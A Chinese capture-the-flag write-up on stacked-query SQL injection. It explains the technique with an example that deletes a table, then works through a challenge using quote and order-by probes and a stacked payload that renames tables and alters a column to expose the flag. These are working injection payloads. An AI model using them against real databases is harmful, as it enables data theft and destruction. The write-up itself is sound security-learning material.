0x01堆叠注入原理(Stacked Queries)
在sql中,分号表示一条语句的结束。如果在分号(;)的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。
举个例子:
输入:DELETE FROM products(未对输入的参数进行过滤)
服务器端生成的sql语句为:Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
堆叠注入的局限性
堆叠注入并不是在每种情况下都能使用的。大多数时候,因为API或数据库引擎的不支持,堆叠注入都无法实现。
0x02 进行注入尝试,获取信息
1、输入1’发现不回显,然后1’ #显示正常,应该是存在sql注入了
2、尝试 1' or 1=1; #
3、正常流程走起,order by 。
输入1' order by 3; # 时出现报错信息。
说明只有两个字段。
4、使用联合查询,遇到过滤信息。
返回一个正则过滤规则,几乎所有常用的字段都被过滤了。
5、尝试进行堆叠注入
故可以存在堆叠注入。
6、进行查表。
6.1、查询两个表中的字段。
7、!!!!找到flag,接下来想办法获取flag
由于每次回显都是从 word 这张表中,所以推测内部的查询语句为:
select id, data from word where id =
(这里从上面的对word列的查询可以看到它是有两列,id和data)
然而过滤正则并没有过滤alert和rename关键字。
8、构造堆叠注入的payload,获取flag
1.将words表改名为words2或其它任意名字
2.1919810931114514改名为words
3.将新的word表插入一列,列名为id
4.将flag列改名为id
1';rename table `words` to words2;
rename table `1919810931114514` to `words`;
alter table words change flag id varchar(100);
show tables;
show columns from words;#
最后用1' or 1=1;#
求出flag
0x03 重学SQL语句
想要在sql注入里更加灵活则必须对语句、函数有足够的熟悉。
一起对SQL语句进行复习吧!
SQL 教程https://www.w3school.com.cn/sql/index.aspSQL学习,将会在明天更新。。。。